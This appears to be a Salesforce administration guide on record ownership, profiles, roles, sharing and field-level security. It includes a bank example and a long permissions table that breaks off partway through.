Control who sees what - With sharing, you can ensure record-level access control for all custom objects as well as many standard objects (such as Account, Contact, Opportunity, and Case). Administrators can set organization-wide default sharing access levels and then grant additional access based on record ownership, role hierarchy, sharing rules, and manual sharing. Developers can write code that grants additional access programmatically.

Fine-grain control over sharing rules - To specify the objects and tabs a user can access, you can assign a profile. To specify the fields a user can access, you can use field-level security. To specify the individual records a user can view and edit, you can set your organization-wide defaults, define a role hierarchy, and create sharing rules.
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1. Record Owner

· All Records in Salesforce must have one and only one record Owner

· This owner will be a user of Salesforce except for Cases and Leads which can be owned by a queue

· The Record Owner is the individual who controls or has rights to that particular data record

· Owner has the ability to view and edit the record (assuming object permissions are enabled for this object)

· Owner can transfer ownership to other users (or queues for Cases and Leads)

· Owner can delete the record

1. Profiles

· A collection of settings and permissions that define how a user accesses records

· Determines how users see data and what they can do within the application

· A profile can have many users, but a user can have only one profile

· Profiles never override your organization’s sharing model or role hierarchy

· There are 6 standard profiles in Salesforce:

· System Administrator

· Standard User

· Solution Manager

· Marketing User

· Contract Manager

· Read Only

· Profiles such as Standard Platform user, Standard Platform one app user, Partner user, Customer Portal User, Customer Portal Manager Etc. exist depending upon the type of license types and arrangements.

· Following the best practices, Profiles are used for the following functions or actions (but not limited to):

0. Implement Standard and custom apps visibility

0. To administer Tabs visibility

0. Adjust User Admin Permissions

0. Implement User create, read, edit, and delete records for each object

0. To administer Page Layouts Visibility

0. Implement User Field-level security access

0. To administer Record types available to the user

1. Role

· There are 500 roles allowed per Org for an organization

· Roles are mainly used to display data in opportunity reports, forecast roll-ups, and other displays based on roles a user must have a role defined

· All users that require visibility to the entire organization should belong to the highest level in the hierarchy

· Define the hierarchy of roles to control access of information entered by users in lower level roles

· When you change a user’s role, any relevant sharing rules are evaluated to add or remove access as necessary

1. Role Hierarchy Features

1. User is associated to one Role

1. Controls the level of Data visibility for a user

1. Users have ALL access to records they own plus records owned by users in roles beneath them in the hierarchy

1. Users inherit the special privileges of data owned by or shared with users below them in the hierarchy

1. Controls the roll up of summary data for Forecasting and Reporting

1. The only exception to this rule is a Contact record that is marked “private.” (owner, system administrator)

1. Creating a role and adding two users to that role does not allow those users access to one another’s opportunities.

1. “Best practice” - Role Hierarchies should not be same as Enterprise Organizational Charts

1. Concept of Sharing

1. Here are the key elements for a Sharing Model in Salesforce:

· Organization Wide Defaults

· Role hierarchy

· Record Ownership

· Account Teams

· Sales Teams

· Manual Sharing

· Default Account Teams

· Default Sales Teams

· Territory Management

1. Page Layouts

· Controls the Organization of the Detail and Edit pages

· Define Page sections

· Field Visibility, Required and Read-Only properties

· Related lists included on pages

· Custom Links visible on a pages

· Controls the Buttons displayed on pages and related lists

· Assigned to users based on Profiles

1. Field Level Security

1. Defines users’ access to view and edit specific fields in the application

1. Change Visibility

1. Make field Read-only

1. Cannot make a field required

1. Hidden fields using Field Level Security also hides that field from list views, search results, and reports

1. Field-Level Security is used (rather than creating multiple page layouts) to enforce data security and users  view data relevant to their job function

MANAGING PROFILES

In a nutshell, Roles, Profiles & Sharing are administrative constructs in Salesforce.com which restrict access to data. Profiles specifically restrict editing activity on data which are exposed to users by way of Roles & Sharing. The following example illustrates the relationship between Roles and Profiles:  

For Example purposes only - a Bank which uses Salesforce will have three data objects related to its customers: Customer Information, Account Information, and Investment Information. 

· Customer Information has identification information such as customer’s name, address, social security number, date of birth, and password. 

· Account Information has details about the customer’s deposits and withdrawals at the bank and a balance summary. 

· Investment Information has details about the investments and certificates of deposits that the customer has at the bank. 

Let’s further assume that there is a division of labor between the bank’s captive call center and its wealth management division where the call center representatives do not need to see a customer’s investment information. Hence to prevent bank’s call center representatives from seeing a customer’s investment information, a “teller” role can be created that just allows access to the Customer and Account Information objects but excludes access to the Investment Information. Call center representatives can be assigned this “teller” role and customer’s investment information can be keep away from prying eyes. 

Furthermore to extend the example, if we do not want the call center representatives to view a customer’s social security number or date of birth due to privacy concerns THEN a  “teller” profile can be created which will restrict access to the social security number and date of birth fields, removes the tab related to 

Investment Information for customer service representatives and utilizes a page layout that does not have the social security number and date of birth fields in it. Thus, call center representatives assigned to the “teller” role as well as the “teller” profile will be able to meet the bank’s division of labor and privacy concerns. 



[image: ]Note: It is important to restrict edit activity on data records so that unauthorized users are unable to modify important, confidential data.
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In Salesforce, profiles are used to:

· Define which page layouts a user will see

· Restrict field level access

· Restrict the apps accessible to a user

· Restrict the tabs accessible to a user

· Secure certain login settings

· Restrict access to record types

In essence, a Profile is used to manage two types of access restrictions to data: Application Level and System Level restrictions. 

· Application level restrictions restrict data manipulation actions within Salesforce applications. 

· System level restrictions restrict activity for users at the organization or system level.

In addition, Salesforce has two basic types of profiles: Standard and Custom profiles.

· Standard profiles come with prebuilt restrictions on user actions once a user is assigned such a profile. 

· Custom profiles are usually created when standard profiles do not provide the granular level of security controls that an application requires. 

There are some profiles which are out-of-the-box with a particular Salesforce edition. These are called Standard Profiles and for some Salesforce editions, these are the only types of profiles available. The Standard Profiles usually have a one-to-one relationship with a Salesforce license. However, for more dynamic Salesforce editions, such as Unlimited or Enterprise, custom profiles can be created. 




The following table lists the availability of Standard and Custom profiles for currently available Salesforce editions.  

		Organization / Profile Type

		Standard

		Custom



		Contact Manager

		Assign

		Not Available



		Group

		Assign

		Not Available



		Professional

		Assign

		Not Available



		Enterprise

		Assign, Read and Update

		Assign, Create, Read, Update & Delete



		Unlimited 

		Assign, Read and Update

		Assign, Create, Read, Update & Delete



		Developer

		Assign, Read and Update

		Assign, Create, Read, Update & Delete












[image: ]Note: List of some of the Standard Profiles in Salesforce and their associated licenses: 

		Profile

		License



		Chatter Free User

		Chatter Free



		Chatter Moderator User

		Chatter Free



		Contract Manager

		Salesforce



		Marketing User

		Salesforce



		Overage Authenticated Website User

		Overage Authenticated Website



		Overage High Volume Customer Portal User

		Overage High Volume Customer Portal



		Read Only

		Salesforce



		Solution Manager

		Salesforce



		Standard Platform User

		Salesforce Platform



		Standard User

		Salesforce



		System Administrator

		Salesforce







Detailed information on the standard profiles can also be referred at below link https://login.salesforce.com/help/doc/en/standard_profiles.htm
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		The standard profiles available vary according to which Edition you have.







The following table lists all user permissions in alphabetical order. In the enhanced profile user interface, these permissions are listed in the App Permissions or System Permissions pages. In the original profile user interface, they are listed under Administrative Permissions and General User Permissions.

		Permission Name

		Description

		Functions Controlled

		Profiles



		[bookmark: ActivateContracts]Activate Contracts

		[bookmark: ActivateContractsDescription]Change contract status to Activated.

		Change contract status to Activate; 

Create, edit and delete contracts

		System Administrator 

Contract Manager



		[bookmark: AffectedByDivisions]Affected by Divisions

		[bookmark: AffectedByDivisionsDescription]Filter search results, list views, and reports by division.

		Filter a user’s search results, list views, and reports by division. With this permission deselected, a user’s searches, list views, and reports always show records in all divisions. 

Enterprise, Unlimited, and Developer Edition organizations can edit this user permission on standard and custom profiles

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: APIEnabled]API Enabled

		[bookmark: APIEnabledDescription]Access any Salesforce API.

		Access any Salesforce API

		System Administrator



		[bookmark: APIOnlyUser]API Only User

		[bookmark: APIOnlyUserDescription]Access Salesforce only through a Salesforce API.

		Access Salesforce only through a Salesforce API

		None



		[bookmark: ApproveContracts]Approve Contracts

		[bookmark: ApproveContractsDescription]Approve or reject a contract from a related list.

		Apply an approved status to a contract

		System Administrator 

Contract Manager



		[bookmark: AuthorApex]Author Apex

		[bookmark: AuthorApexDescription]Create Apex classes and triggers.

		Can modify and deploy Apex classes and triggers, set security on Apex classes, and create email services

		System Administrator



		[bookmark: BackgroundReportExport]Background Report Export

		[bookmark: BackgroundReportExportDescription]Run reports in the background, and export results as a CSV or Excel file on completion.

		Run reports in the background, and export results as a CSV or Excel file on completion

		System Administrator



		[bookmark: BulkApiHardDelete]Bulk API Hard Delete

		Delete records in the Bulk API without storing them in the Recycle Bin.

		Delete records without storing them in the Recycle Bin, making them eligible for immediate deletion.

		None



		[bookmark: ConvertLeads]Convert Leads

		[bookmark: ConvertLeadsDescription]Convert leads into accounts, contacts, and opportunities.

		Convert leads into accounts, contacts, and opportunities

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: CreateAndCustomizeReports]Create and Customize Reports

		[bookmark: CreateAndCustomizeReportsDescription]Create, edit, and delete reports.

		View the Reports tab; 

Run, create, edit, save, and delete reports;

View dashboards based on reports

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Read Only

Contract Manager



		[bookmark: CreateAndUploadChangeSets]Create and Upload Change Sets

		[bookmark: CreateAndUploadChangeSetsDesc]Create and upload a change set.

		Create a change set, add components to it, and upload it

		System Administrator



		[bookmark: CreateAppExchangePackages]Create AppExchange Packages

		[bookmark: CreateAppExchangePackagesDescription]Create packages that can be distributed through AppExchange.

		Create AppExchange packages

		System Administrator



		[bookmark: CreateWorkspaces]Create Libraries

		[bookmark: CreateWorkspacesDescription]Create Salesforce CRM Content libraries.

		Create Salesforce CRM Content libraries

		System Administrator



		[bookmark: CustomizeApplication]Customize Application

		[bookmark: CustomizeApplicationDescription]Customize the organization using App Setup menu options.

		Edit messages and custom links; 

Modify standard picklist values; 

Create, edit, and delete custom fields; 

Create, edit, and delete page layouts (also requires the “Edit” permission for the record, for example, “Edit” on accounts); 

Set field-level security; 

Create, edit, and delete custom links; 

Edit the Lead Settings; 

Activate big deal alerts; 

Create record types; 

Set up Web-to-Case and email response rules; 

Set up Web-to-Lead and email response rules; 

Set up assignment and escalation rules;

Set up business hours;

Set up Email-to-Case or On-Demand Email-to-Case;

Edit Self-Service page layouts and portal color theme (also requires the “Manage Self-Service Portal” permission to set up and maintain Self-Service settings and delete your organization's Self-Closed Case Status value); 

Set up and enable multilingual solutions;

Set up team selling; 

Set up account teams; 

Map custom lead fields; 

Manage queues; 

Create, edit, and delete workflow rules, tasks, field updates, outbound messages, and alerts; 

Create, edit, and delete custom s-controls, custom objects, and custom tabs; 

Rename tabs; 

Manage custom apps and Service Cloud console apps; 

Create and edit public calendars and resources; 

Set up the console;

Enable, set up, and modify the Salesforce Customer Portal;

Set up and schedule analytic snapshots to run;

Create communities for ideas and answers;

Create Visualforce email templates

		System Administrator



		[bookmark: WeeklyDataExport]Data Export

		[bookmark: WeeklyDataExportDescription]Run the data export service.

		Run the data export service.

		System Administrator



		[bookmark: DeferSharingCalculations]Manage Sharing Calculation Deferral

		[bookmark: DeferSharingCalculationsDescription]Suspend and resume sharing calculations.

		Suspend and resume group membership and sharing rule calculations.

		System Administrator



		[bookmark: DelegatedPortalUserAdministrator]Delegated Portal User Administrator

		[bookmark: DelegatedPortalUserAdministratorDescript]Manage portal users who belong to the same portal account.

		Allows Customer Portal and Partner Portal users to create, edit, deactivate, and reset passwords for other portal users (also requires “Portal Super User” to create and view cases for Customer Portal users)

		None



		[bookmark: DeleteActivatedContracts]Delete Activated Contracts

		[bookmark: DeleteActivatedContractsDescription]Delete contracts, regardless of their status.

		Delete contracts regardless of status; 

Activate, create, and edit contracts

		System Administrator



		[bookmark: DeliverUploadedFilesAndPersonalContent]Deliver Uploaded Files and Personal Content

		[bookmark: DeliverUploadedFilesAndPersonalContentDe]Enables non-Content users to create content deliveries, and enables Salesforce CRM Content users to create content deliveries using documents in their personal libraries.

		Non-Content users can create content deliveries; 

Salesforce CRM Content users can create content deliveries using documents in their personal libraries

Salesforce CRM Content users don't need this permission to create content deliveries in shared libraries.

		System Administrator 

Standard User

Solution Manager

Marketing User

Read Only

Contract Manager



		[bookmark: DeployChangeSets]Deploy Change Sets

		[bookmark: DeployChangeSetsDesc]Deploy change sets.

		Deploy change sets sent from another organization

		System Administrator



		[bookmark: DownloadAppExchangePackages]Download AppExchange Packages

		[bookmark: DownloadAppExchangePackagesDescription]Install or uninstall AppExchange packages as system administrators.

		Install or uninstall AppExchange packages from the AppExchange

		System Administrator



		[bookmark: DragAndDropDashboardBuilder]Drag-and-Drop Dashboard Builder

		[bookmark: DragAndDropDashboardBuilderDescription]Create, edit, and delete dashboards through the drag-and-drop dashboard builder interface.

		Create, edit, and delete dashboards using the dashboard builder interface

		System Administrator



		[bookmark: EditCaseComments]Edit Case Comments

		[bookmark: EditCaseCommentsDescription]Edit their own case comments but not other user's comments.

		Enables users to edit and delete case comments that they have added to cases (also requires “Edit” on cases)

		None



		[bookmark: EditEvents]Edit Events

		[bookmark: EditEventsDescription]Create, edit, and delete events.

		Create, edit, and delete events

		System Administrator 

Standard User

Solution Manager

Marketing User

Contract Manager



		[bookmark: EditForecasts]Edit Forecasts

		[bookmark: EditForecastsDescription]Create, edit, and delete non-customizable forecasts.

		Create, edit, and delete forecasts. 

This permission is not available for customizable forecasts. When you convert to customizable forecasts, custom profiles that have the “Edit Forecasts” permission get the “Edit Personal Quota” and “Override Forecasts” permissions. 

		System Administrator 

Standard User

Solution Manager

Marketing User

Contract Manager



		[bookmark: EditHTMLTemplates]Edit HTML Templates

		[bookmark: EditHTMLTemplatesDescription]Create, edit, and delete HTML email templates.

		Create, edit, and delete both custom HTML templates and HTML email templates using letterheads

		System Administrator 

Marketing User



		[bookmark: EditOpportunityProductSalesPrices]Edit Opportunity Product Sales Prices

		[bookmark: EditOpportunityProductSalesPricesDescrip]Change the sales price on opportunity line items.

		Enable users to change the sales price on products

		System Administrator 

Standard User

Solution Manager

Marketing User

Contract Manager



		[bookmark: EditPersonalQuota]Edit Personal Quota

		[bookmark: EditPersonalQuotaDescription]Change their quota for customizable forecasts.

		Change your individual quota (available only for customizable forecasts)

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: EditReadOnlyFields]Edit Read Only Fields

		[bookmark: EditReadOnlyFieldsDescription]Edit fields that are read only due to page layouts or field-level security.

		Edit fields marked as read only (by field-level security or by the page layout) for all other users

		System Administrator



		[bookmark: EditSelfServiceUsers]Edit Self-Service Users

		[bookmark: EditSelfServiceUsersDescription]Enable and disable contacts for Self-Service and Customer Portal access.

		For the Self-Service portal: enable and deactivate contacts; 

For the Salesforce Customer Portal: enable, disable, and deactivate contacts; disable accounts; merge Customer Portal users (also requires “Delete” on contacts)

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: EditTasks]Edit Tasks

		[bookmark: EditTasksDescription]Create, edit, and delete tasks.

		Create, edit, and delete tasks

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: ExportReports]Export Reports

		[bookmark: ExportReportsDescription]Use Export Details and Printable View to export reports.

		Use Export Details and Printable View to export reports

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: GrantLoginAccessToPartner]Grant Login Access to Partner

		[bookmark: GrantLoginAccessToPartnerDescription]Grant, view, and revoke which publishers may log in to the user’s organization as part of the Publisher Login functionality.

		Grant, view, and revoke which publishers may log in to the user’s organization as part of the Publisher Login functionality.

		System Administrator



		[bookmark: ImportLeads]Import Leads

		[bookmark: ImportLeadsDescription]Import leads and update campaign history.

		Import leads and update campaign history using the import wizard

		System Administrator 

Marketing User



		[bookmark: ImportPersonalContacts]Import Personal Contacts

		[bookmark: ImportPersonalContactsDescription]Import personal accounts and contacts.

		Import personal accounts and contacts using the import wizard

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: ImportSolutions]Import Solutions

		[bookmark: ImportSolutionsDescription]Import solutions for the organization.

		Import solutions for the organization using the import wizard

		System Administrator 

Solution Manager



		[bookmark: userperm_WriteChatterAuthorFields]Insert System Field Values for Chatter Feeds

		[bookmark: desc_WriteChatterAuthorFields]Set the CreatedById or CreatedDate for a Chatter post or comment from the API when creating the record.

		Set the CreatedById or CreatedDate for a Chatter post or comment from the API when creating the record.

		System Administrator



		[bookmark: IsSingleSignOnEnabled]Is Single Sign-On Enabled

		Delegate username and password authentication to a corporate database instead of the Salesforce user database.

		Username and password authentication is delegated to a corporate database such as Active Directory® or LDAP, instead of the Salesforce user database. See About Single Sign-On.

		None



		[bookmark: LogInToSubscriberOrganization]Log in to Subscriber Organization

		[bookmark: LogInToSubscriberOrganizationDescription]Log in to subscriber organizations to perform package support using the Subscriber Support Tab.

		Log in to subscriber organizations to perform package support using the Subscriber Support Tab.

		System Administrator



		[bookmark: ManageAnalyticSnapshots]Manage Analytic Snapshots

		[bookmark: ManageAnalyticSnapshotsDescription]Create, edit, and delete analytic snapshots.

		Set up and schedule analytic snapshots to run (also requires the “Schedule Dashboards”, “Run Reports”, and “View Setup and Configuration” permissions)

		System Administrator



		[bookmark: ManageArticles]Manage Articles

		[bookmark: ManageArticlesDescription]Create, edit, assign, publish, archive, and translate Salesforce Knowledge articles.

		Create, edit, delete, assign, publish, and archiveSalesforce Knowledge articles; 

Edit draft articles;

Submit Salesforce Knowledge articles for translation;

Publish and archive translated articles;

Access the Article Management tab

		None



		[bookmark: ManageBilling]Manage Billing

		[bookmark: ManageBillingDescription]Purchase additional licenses and features.

		Add user licenses; 

Edit billing and credit card information;

Grant Checkout access

		System Administrator



		[bookmark: ManageBusinessHoursHolidays]Manage Business Hours Holidays

		[bookmark: ManageBusinessHoursHolidaysDescription]Create, edit, and delete business holidays.

		Create and edit business hours; create, edit, and delete holidays (also requires “View Setup and Configuration”)

		System Administrator



		[bookmark: ManageCallCenters]Manage Call Centers

		[bookmark: ManageCallCentersDescription]Create, import, edit, and delete a call center configuration.

		Import, view, edit, and delete a call center (also requires “View Setup and Configuration”)

		System Administrator



		[bookmark: ManageCases]Manage Cases

		[bookmark: ManageCasesDescription]Administer case settings, including Email-to-Case and mass transfer of cases.

		Set support business hours; 

Edit support settings;

Set up Email-to-Case;

Perform actions on multiple cases in a list view, such as mass transfer of cases

Close multiple cases

		System Administrator



		[bookmark: ManageCategories]Manage Categories

		[bookmark: ManageCategoriesDescription]Define and modify solution categories settings.

		Define and modify solution categories; 

Edit Solution Settings to enable solution browsing

This permission only applies to solution categories, not data categories

		System Administrator



		[bookmark: ManageConnections]Manage Connections

		[bookmark: ManageConnectionsDescription]Allows a user to create and update connections and templates in Salesforce to Salesforce.

		Create, update, and deactivate Salesforce to Salesforce connections and create and update connection templates

		System Administrator



		[bookmark: ManageContentPermissions]Manage Content Permissions

		[bookmark: ManageContentPermissionsDescription]Create, edit, and delete library permissions in Salesforce CRM Content.

		Create, edit, and delete library permissions in Salesforce CRM Content

		System Administrator



		[bookmark: ManageContentProperties]Manage Content Properties

		[bookmark: ManageContentPropertiesDescription]Create, edit, and delete custom fields in Salesforce CRM Content.

		Create, edit, and delete custom fields in Salesforce CRM Content

		System Administrator



		[bookmark: ManageContentTypes]Manage Content Types

		[bookmark: ManageContentTypesDescription]Create, edit, and delete content types in Salesforce CRM Content.

		Create, edit, and delete content types in Salesforce CRM Content

		System Administrator



		[bookmark: ManageCustomReportTypes]Manage Custom Report Types

		[bookmark: ManageCustomReportTypesDescription]Create and edit custom report types.

		Create and edit custom report types (also requires “View Setup and Configuration” to view the organization Setup pages where custom report types are managed; also requires “Modify All Data” to delete custom report types, as all reports and dashboard components using that report type are deleted as well)

		System Administrator



		[bookmark: ManageDashboards]Manage Dashboards

		[bookmark: ManageDashboardsDescription]Create, edit, and delete the user's personal dashboards.

		Create, edit, and delete dashboards (also requires “Modify All Data” to edit a dashboard created by another user)

		System Administrator



		[bookmark: ManageDataCategories]Manage Data Categories

		[bookmark: ManageDataCategoriesDescription]Create, edit, and delete data categories.

		Create, edit, and delete data categories 

This permission only applies to data categories, not solution categories

		System Administrator



		[bookmark: ManageDataIntegrations]Manage Data Integrations

		[bookmark: ManageDataIntegrationsDescription]Monitor or abort Bulk API jobs.

		Monitor or abort Bulk API jobs; 

Grant access to Bulk API monitoring pages

		System Administrator



		[bookmark: ManageDynamicDashboards]Manage Dynamic Dashboards

		[bookmark: ManageDynamicDashboardsDescription]Create, edit, and delete dynamic dashboards.

		Create, edit, and delete dynamic dashboards

		System Administrator



		[bookmark: ManageEmailClientConfigurations]Manage Email Client Configurations

		[bookmark: ManageEmailClientConfigurationsDescripti]Create, edit, and delete Outlook configurations for Salesforce for Outlook.

		Create, edit, and delete Outlook configurations for Salesforce for Outlook. 

		System Administrator



		[bookmark: ManageEntitlements]Manage Entitlements

		[bookmark: ManageEntitlementsDescription]Enable, create, and update entitlement management items.

		Set up and maintain entitlement management; 

Enable and disable entitlement management, including entitlements, service contracts, and contract line items;

Create, edit, and delete entitlement templates;

Create, edit, and delete milestones;

Create, edit, and delete entitlement processes

		System Administrator



		[bookmark: ManageLeads]Manage Leads

		[bookmark: ManageLeadsDescription]Change the status of multiple leads in a list view.

		Change Status of multiple leads in a list view

		System Administrator



		[bookmark: ManageLetterheads]Manage Letterheads

		[bookmark: ManageLetterheadsDescription]Create, edit, and delete letterheads for HTML emails.

		Create, edit, and delete letterheads for HTML emails

		System Administrator 

Marketing User



		[bookmark: ManageMobileConfigurations]Manage Mobile Configurations

		[bookmark: ManageMobileConfigurationsDescription]Manage Salesforce Mobile users and devices.

		Create, edit, and delete mobile configurations for Salesforce Mobile; 

Manage mobile settings

		System Administrator



		[bookmark: ManagePackageLicenses]Manage Package Licenses

		[bookmark: ManagePackageLicensesDescription]Manage package licenses in subscriber organizations.

		Grant or revoke user licenses for an installed app in a managed package

		System Administrator 



		[bookmark: ManagePartners]Manage Partners

		[bookmark: ManagePartnersDescription]Create partner accounts and partner users.

		Create partner accounts and partner users; 

Disable partner accounts and partner users;

Merge partner users (also requires “Delete” on contacts)

		System Administrator



		[bookmark: ManagePublicDocuments]Manage Public Documents

		[bookmark: ManagePublicDocumentsDescription]Create, edit, and delete folders for public documents.

		Create, edit, and delete public document folders

		System Administrator 

Marketing User



		[bookmark: ManagePublicListViews]Manage Public List Views

		[bookmark: ManagePublicListViewsDescription]Create, edit, and delete public list views.

		Create, edit, and delete public list views

		System Administrator



		[bookmark: ManagePublicReports]Manage Public Reports

		[bookmark: ManagePublicReportsDescription]Create, edit, and delete public reports.

		Create, edit, and delete public reports; 

Customize the Reports tab

		System Administrator



		[bookmark: ManagePublicTemplates]Manage Public Templates

		[bookmark: ManagePublicTemplatesDescription]Create, edit, and delete text emails, mail merge templates, and folders for public email templates.

		Create, edit, and delete text email and mail merge templates; 

Edit public folders for email templates and store email templates in folders

		System Administrator 

Marketing User



		[bookmark: ManagePublishedSolutions]Manage Published Solutions

		[bookmark: ManagePublishedSolutionsDescription]Create, edit, and delete publicly accessible solutions.

		Create, edit, and delete solutions that are accessible to the public on your Self-Service portal or website; 

Categorize solutions

		System Administrator 

Solution Manager



		[bookmark: ManageRemoteAccess]Manage Remote Access

		[bookmark: ManageRemoteAccessDescription]Manage, create, edit and delete remote access applications.

		Manage, create, edit and delete remote access applications that define integrations of external applications which access Salesforce using the OAuth protocol. 

		System Administrator



		[bookmark: ManageSalesforceCRMContent]Manage Salesforce CRM Content

		[bookmark: ManageSalesforceCRMContentDescription]Create, edit, and delete libraries and library memberships.

		Create, edit, and delete libraries; 

Edit library membership

		System Administrator



		[bookmark: ManageSalesforceKnowledge]Manage Salesforce Knowledge

		[bookmark: ManageSalesforceKnowledgeDescription]Manage Salesforce Knowledge settings, and create, edit, and delete article types.

		Enable Salesforce Knowledge; 

Create, edit, and delete article types;

Edit settings

		System Administrator



		[bookmark: ManageSelfServicePortal]Manage Self-Service Portal

		[bookmark: ManageSelfServicePortalDescription]Manage Self-Service portal settings and reports.

		Set up and maintain Self-Service settings (also requires the “Customize Application” permission to modify Self-Service page layouts and delete your organization's Self-Closed Case Status value); 

Run Self-Service reports

		System Administrator



		[bookmark: ManageSynonyms]Manage Synonyms

		[bookmark: ManageSynonymsDescription]Create, edit, and delete synonym groups.

		Create, edit, and delete synonym groups

		System Administrator



		[bookmark: ManageTerritories]Manage Territories

		[bookmark: ManageTerritoriesDescription]Manage territory configurations.

		Create and edit territories; 

Add and remove users from territories;

Create and edit account assignment rules;

Manually assign accounts to territories;

Configure organization-wide territory management settings

		System Administrator



		[bookmark: ManageTranslation]Manage Translation

		[bookmark: ManageTranslationDescription]Manage translated labels in the Translation Workbench.

		Add supported languages and translators, see Adding and Editing Translated Languages and Translators; 

Enter translated values for any supported language;

Translate solution categories

		System Administrator



		[bookmark: ManageUsers]Manage Users

		[bookmark: ManageUsersDescription]Create, edit, and deactivate users, and manage security settings, including profiles and roles.

		Create, edit, and deactivate users; 

Define and assign user roles;

Define sharing model and sharing rules;

View storage use;

View login history;

View training history;

Manage and assign profiles;

Assign page layouts to profiles;

Set password policies;

Activate or deactivate opportunity update reminders;

Set login restrictions

		System Administrator



		[bookmark: MassEditFromLists]Mass Edits from Lists

		[bookmark: MassEditFromListsDescription]Edit multiple records simultaneously from a list with inline editing.

		Edit two or more records simultaneously from a list with inline editing

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager,

Standard Platform User

Standard Platform One App User



		[bookmark: MassEmail]Mass Email

		[bookmark: MassEmailDescription]Send mass emails to contacts and leads.

		Send bulk emails to contacts and leads

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: ModerateChatter]Moderate Chatter

		[bookmark: ModerateChatterDescription]Deactivate Chatter Free users, assign moderator privileges to Chatter Free users, and remove posts.

		Moderate Chatter; 

Deactivate or re-activate Chatter Free users;

Give, or take away, moderator privileges to Chatter Free users;

Remove inappropriate posts

		System Administrator 

Chatter Moderator User



		[bookmark: ModifyAllData]Modify All Data

		[bookmark: ModifyAllDataDescription]Create, edit, and delete all organization data, regardless of sharing settings.

		Create, edit, and delete all data; 

Import accounts and contacts for organization;

Mass update addresses (also requires “Activate Contract” and “Activate Order” to update the addresses of contracts and orders); 

Mass delete data;

Undelete other users’ data;

Create and edit divisions, and transfer divisions for multiple records;

Create an organization-wide email address

		System Administrator



		[bookmark: OverrideForecasts]Override Forecasts

		[bookmark: OverrideForecastsDescription]Override personal forecasts and forecasts for users who report directly to them in the role hierarchy.

		Override your own forecast, as well as forecasts for users that report directly to you in the role hierarchy (available only for customizable forecasts)

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: PasswordNeverExpires]Password Never Expires

		[bookmark: PasswordNeverExpiresDescription]Prevent the user's password from expiring.

		Prevent password from ever expiring

		None



		[bookmark: PortalSuperUser]Portal Super User

		[bookmark: PortalSuperUserDescription]Allows Customer Portal users to view and edit all cases for their account.

		View and edit cases for their account

		None



		[bookmark: ProductsShowInOffline]Products Show in Offline

		[bookmark: ProductsShowInOfflineDescription]Make products and price books available in Connect Offline.

		Specify if products and price books are available in Connect Offline

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Read Only

Contract Manager



		[bookmark: ReportBuilder]Report Builder

		[bookmark: ReportBuilderDescription]Create, edit, and delete reports through the drag-and-drop report builder interface.

		Create, edit, and delete reports using the report builder interface

		System Administrator



		[bookmark: ResetUserPasswords]Reset User Passwords and Unlock Users

		[bookmark: ResetUserPasswordsDefn]Unlock user accounts that are locked, as well as reset user passwords. If you reset the password for a user whose account is locked, their account is automatically unlocked.

		User passwords and locked users.

		System Administrator



		[bookmark: RunReports]Run Reports

		[bookmark: RunReportsDescription]Run reports and dashboards.

		View the Reports tab; 

Run reports;

View dashboards based on reports

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Read Only

Contract Manager



		[bookmark: ScheduleDashboards]Schedule Dashboards

		[bookmark: ScheduleDashboardsDescription]Schedule when dashboards refresh, and send email notifications that include refreshed dashboards in HTML format.

		Schedule when dashboards refresh and send email notifications to users that include refreshed dashboards in HTML format

		System Administrator



		[bookmark: ScheduleReports]Schedule Reports

		[bookmark: ScheduleReportsDescription]Schedule reports to run and have the results emailed to Salesforce users.

		Schedule reports to run and have the results emailed in HTML format to Salesforce users

		System Administrator



		[bookmark: SendEmail]Send Email

		[bookmark: SendEmailDescription]Send email to a single contact or lead.

		Send email to a single contact or lead; 

Send Stay-in-Touch update emails;

Request a meeting

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: SendOutboundMessages]Send Outbound Messages

		[bookmark: SendOutboundMessagesDescription]Send outbound messages to an external Web service API.

		Send outbound messages, such as when you close an opportunity and need to send an outbound API message to another server to generate an order. See “Setting Up Outbound Messaging” in the Web Services API Developer's Guide.

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Read Only 

Contract Manager

Standard Platform User

Standard Platform One App User



		[bookmark: SendStayInTouchRequests]Send Stay-in-Touch Requests

		[bookmark: SendStayInTouchRequestsDescription]Send Stay-in-Touch update emails.

		Send Stay-in-Touch email requests

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Contract Manager



		[bookmark: ShowCustomSidebarOnAllPages]Show Custom Sidebar On All Pages

		[bookmark: ShowCustomSidebarOnAllPagesDescription]Display a custom sidebar on all pages in Salesforce.

		[bookmark: SidebarProfileNA]If users have custom home page layouts that include components in the sidebar, displays their custom sidebar on all pages in Salesforce. If the Show Custom Sidebar Components on All Pages user interface setting is selected, the “Show Customer Sidebar On All Pages” permission is not available.

		None



		[bookmark: TagManager]Tag Manager

		[bookmark: TagManagerDescription]Manage the configuration of private and public tags.

		Rename, delete, or restore public tags (available only when public tags are enabled)

		System Administrator



		[bookmark: TransferCases]Transfer Cases

		[bookmark: TransferCasesDescription]Change a case's owner.

		Transfer one or more cases that are owned by another user, if you also have at least the “Edit” object permission and access to view the records

		System Administrator



		[bookmark: TransferLeads]Transfer Leads

		[bookmark: TransferLeadsDescription]Change a lead's owner.

		Transfer one or more leads that are owned by another user, if you also have at least the “Edit” object permission and access to view the records

		System Administrator



		[bookmark: TransferRecord]Transfer Record

		[bookmark: TransferRecordDescription]Change the owner of most records.

		Transfer ownership of one or more accounts, campaigns, cases, contacts, contracts, leads, and custom objects that are owned by another user 

